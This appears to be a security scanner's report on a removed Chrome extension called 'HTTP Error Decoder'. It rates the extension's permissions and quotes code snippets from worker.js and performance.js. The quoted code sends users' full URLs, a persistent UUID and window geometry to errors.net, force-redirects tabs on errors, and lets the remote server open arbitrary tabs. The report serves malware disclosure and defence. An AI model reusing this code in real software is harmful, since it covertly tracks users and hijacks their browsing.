HTTP Error Decoder

ID: faenhkadofjaohijamoadjpbpnceamoi

Could be malicious

Supported Languages

🇺🇸English

Extension Info & Metadata

Status
Removed
Version
2.0
Size
0.01 MB
Rating
3.7/5
Reviews
19
Users
20,000
Type
Extension
Updated
Aug 17, 2023
Category
Productivity Tools
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
https://httperrordecoder.comView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Website
Visit
Total Extensions
1
Active
0
Obsolete
1
Listed
1
Unlisted
0
Total Users
20,000

HTTP Error Decoder helps you navigate error-prone sites effortlessly with powerful search and overcoming 500 errors.

HTTP Error Decoder is crafted specifically for users new to the intricacies of the internet, aiming to simplify their browsing experience. Step 1: Install the HTTP Error Decoder. * This is a Chrome extension developed specifically to assist both novice and uninformed users. By adding this to your browser, you’re one step closer to a seamless online experience. Step 2: Utilize its features. * Once installed, the HTTP Error Decoder offers a suite of features that enhance your browsing. It not only detects errors but also aids in making insightful decisions about your online activities. Step 3: Dive into resources. * The extension is more than just an error detector. It comes packed with tips and tools that break down complex internet terms. If you encounter an error, there are explanations ready for you, along with links to articles and knowledge bases. These resources are curated to bolster your understanding of common online errors. HTTP Error Decoder abilities go beyond error resolution. HTTP Error Decoder provides real-time suggestions while users type in the search bar, presenting helpful prompts and auto-complete options to expedite the search process. Additionally, Site Resolver includes built-in pop-up blocking and ad filtering, ensuring a cleaner and less cluttered browsing experience for users. HTTP Error Decoder assists with error codes but also shares valuable website load times and other essential statistics, keeping you informed about the performance of the websites you visit. HTTP Error Decoder has strategic partnerships with platforms like errors.net, Yahoo.com, and several other affiliates. These collaborations ensure that even if you face an NX Domain error or similar hitches, your online journey remains uninterrupted and supported. With these steps, HTTP Error Decoder seeks to make the online experience smoother for every user, regardless of their expertise level.

Item
Type
Severity
Description
webRequest
Permission
Critical
This permission enables the extension to monitor and analyze all web requests made by the browser. Rated Critical because it can observe all network traffic including sensitive data, track browsing behavior, and gather authentication tokens.
http://*/*
Host
Critical
Broad host access — the extension can read/modify content on every website.
https://*/*
Host
Critical
Broad host access — the extension can read/modify content on every website.
webNavigation
Permission
High
This permission enables monitoring of all browser navigation events and transitions. Rated High because it can track every page visit, navigation method, and browsing pattern, potentially exposing sensitive browsing behavior and user activities.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.

Intercepts every main_frame HTTP response across all http/https sites and, on any 4xx/5xx status, force-closes the user's current tab (`chrome.tabs.remove`) and replaces it with a redirect to a third-party domain (errors.net), passing the full original URL (including paths and query strings) plus a persistent UUID. This is browser navigation hijacking and silently exfiltrates the user's browsing destinations to an external server.

worker.js (Line 58)
async function handleHeadersReceived(e) {    const {      errorpages: t,      uuid: r    } = await chrome.storage.sync.get(["errorpages", "uuid"]), o = JSON.parse(t), a = encodeURIComponent(new URL(e.url)      .hostname);    "4" !== e.statusCode.toString()[0] && "5" !== e.statusCode.toString()[0] || o.hosts.includes(a) || (chrome.tabs      .create({        url: `https://errors.net/error/?license=${apikey}&errorurl=${encodeURIComponent(e.url)}&error=${e.statusCode.toString()}&uuid=${r.toString()}`      }), chrome.tabs.remove(e.tabId), o.hosts.unshift(a), o.hosts.length = 5, await chrome.storage.sync.set({        errorpages: JSON.stringify({          hosts: o.hosts        })      }))

For every page load on every http/https site visited, the worker POSTs the user's UUID, full performance navigation timing object (which includes the page URL via the navigation entry name), and screen/window geometry to errors.net. The server's response is then used to open arbitrary new tabs (`chrome.tabs.create(a.notice)`) or windows (`chrome.windows.create(a.alert)`) with attacker-chosen URLs, giving the remote endpoint live control over the user's browser navigation.

worker.js (Line 83)
async function perf(e) {  const t = await fetch(`https://errors.net/performance/?license=${apikey}`, {    method: "POST",    headers: {      "Content-Type": "application/json"    },    body: JSON.stringify(e)  });  return await t.json()}

On any DNS resolution failure for a navigation request, the extension navigates the user's tab to errors.net and exfiltrates the full failed URL together with a persistent per-install UUID tracking identifier. Because the URL is sent before the user can intervene, mistyped/sensitive URLs (including those that may contain tokens in query strings) are leaked to the third-party server.

worker.js (Line 41)
async function handleErrorOccurred(e) {  if (e.error.includes("RESOLVE")) {    const {      errorpages: t,      uuid: r    } = await chrome.storage.sync.get(["errorpages", "uuid"]), o = JSON.parse(t), a = encodeURIComponent(new URL(e        .url)      .hostname);    o.hosts.unshift(a), o.hosts.length = 5, await chrome.storage.sync.set({      errorpages: JSON.stringify({        hosts: o.hosts      })    }), chrome.tabs.update({      url: `https://errors.net/error/?license=${apikey}&errorurl=${encodeURIComponent(e.url)}&error=nx&uuid=${r.toString()}`    })  }}

Generates a persistent, cross-session UUID on install and stores it in chrome.storage.sync, then attaches that UUID to every subsequent network event reported to errors.net. This enables the server-side correlation of an individual user's full browsing history of error/non-2xx responses with a stable identifier — classic persistent tracking.

worker.js (Line 105)
chrome.runtime.onInstalled.addListener((async e => {  const {    uuid: t  } = await chrome.storage.sync.get("uuid");  if (void 0 === t) {    const t = generateUUID();    await chrome.storage.sync.set({      errorpages: JSON.stringify({        hosts: []      }),      uuid: t    }), "install" === e.reason && chrome.tabs.update({      url: `https://HTTPErrorDecoder.com/thankyou/?uuid=${t.toString()}`    })  }}));

The response from the remote errors.net /performance/ endpoint directly drives `chrome.tabs.create` and `chrome.windows.create` with server-supplied parameters. Although chrome.tabs.create cannot execute remote JavaScript directly, it allows the remote server to push arbitrary URLs (ads, phishing pages, redirect chains) into the victim's browser at any time after install — i.e., remote-controlled navigation/ad injection.

worker.js (Line 35)
a?.notice ? chrome.tabs.create(a.notice) : a?.alert && chrome.windows.create(a.alert)

Content script injected into every http/https frame collects screen position (screenTop/screenLeft) and window inner/outer geometry on every page load and forwards it to the background worker, which uploads it to errors.net. This is unrelated to the extension's stated purpose (decoding HTTP errors) and constitutes browser-fingerprinting / unauthorized data collection.

performance.js (Line 19)
const d = {  offset: {    x: screenTop + (outerHeight - innerHeight),    y: screenLeft + (outerWidth - innerWidth)  },  details: {    x: screenTop,    y: screenLeft,    oh: outerHeight,    ih: innerHeight,    ow: outerWidth,    iw: innerWidth  }};chrome.runtime.sendMessage({  time: r,  timing: t,  dimensions: d})

A hardcoded `license`/API key string shipped in the extension is appended to every outbound request to errors.net. This identifies the extension build to the upstream operator and is the credential used to authorize the data-exfiltration channel; combined with the UUID it enables full per-user attribution of browsing telemetry on the server side.

worker.js (Line 1)
const apikey = "iZo4mu4PZkmUfCkpDoyqYRnqhpb15CKXB9v6Yzwp";

By severity

Critical2
High3
Medium1
Low1

Versions scanned

Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
2.07

Files with findings

2 distinct paths — top paths by unique finding count:

  • worker.js6
  • performance.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Data Exfiltration
critical
worker.js (line 83)For every page load on every http/https site visited, the worker POSTs the user's UUID, full performance navigation timing object (which includes the page URL via the navigation entry name), and screen/window geometry…
2Network Interception
critical
worker.js (line 58)Intercepts every main_frame HTTP response across all http/https sites and, on any 4xx/5xx status, force-closes the user's current tab (`chrome.tabs.remove`) and replaces it with a redirect to a third-party domain (err…
3Data Exfiltration
high
worker.js (line 41)On any DNS resolution failure for a navigation request, the extension navigates the user's tab to errors.net and exfiltrates the full failed URL together with a persistent per-install UUID tracking identifier. Because…
4Remote Code Loading
high
worker.js (line 35)The response from the remote errors.net /performance/ endpoint directly drives `chrome.tabs.create` and `chrome.windows.create` with server-supplied parameters. Although chrome.tabs.create cannot execute remote JavaSc…
5Tracking
high
worker.js (line 105)Generates a persistent, cross-session UUID on install and stores it in chrome.storage.sync, then attaches that UUID to every subsequent network event reported to errors.net. This enables the server-side correlation of…
6Unauthorized Data Collection
medium
performance.js (line 19)Content script injected into every http/https frame collects screen position (screenTop/screenLeft) and window inner/outer geometry on every page load and forwards it to the background worker, which uploads it to erro…
7Other
low
worker.js (line 1)A hardcoded `license`/API key string shipped in the extension is appended to every outbound request to errors.net. This identifies the extension build to the upstream operator and is the credential used to authorize t…
URLs
17
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

www.w3.org/1999/02/22-rdf-syntax-nshttp://www.w3.org/1999/02/22-rdf-syntax-ns#
ns.adobe.com/xap/1.0/http://ns.adobe.com/xap/1.0/
purl.org/dc/elements/1.1/http://purl.org/dc/elements/1.1/
ns.adobe.com/tiff/1.0/http://ns.adobe.com/tiff/1.0/
ns.attribution.com/ads/1.0/http://ns.attribution.com/ads/1.0/
ns.adobe.com/exif/1.0/http://ns.adobe.com/exif/1.0/
fonts.googleapis.com/csshttps://fonts.googleapis.com/css?family=Roboto:400,500,700
errors.net-https://errors.net/
tldrlegal.com/license/mit-licensehttps://tldrlegal.com/license/mit-license
errors.net-https://errors.net
Showing 1 to 10 of 20 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Version
Size
Is Malicious
Findings
Permhash
2.0
Latest
0.01 MB
Malicious
7
Showing 1 to 1 of 10 rows
Rows per page:

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.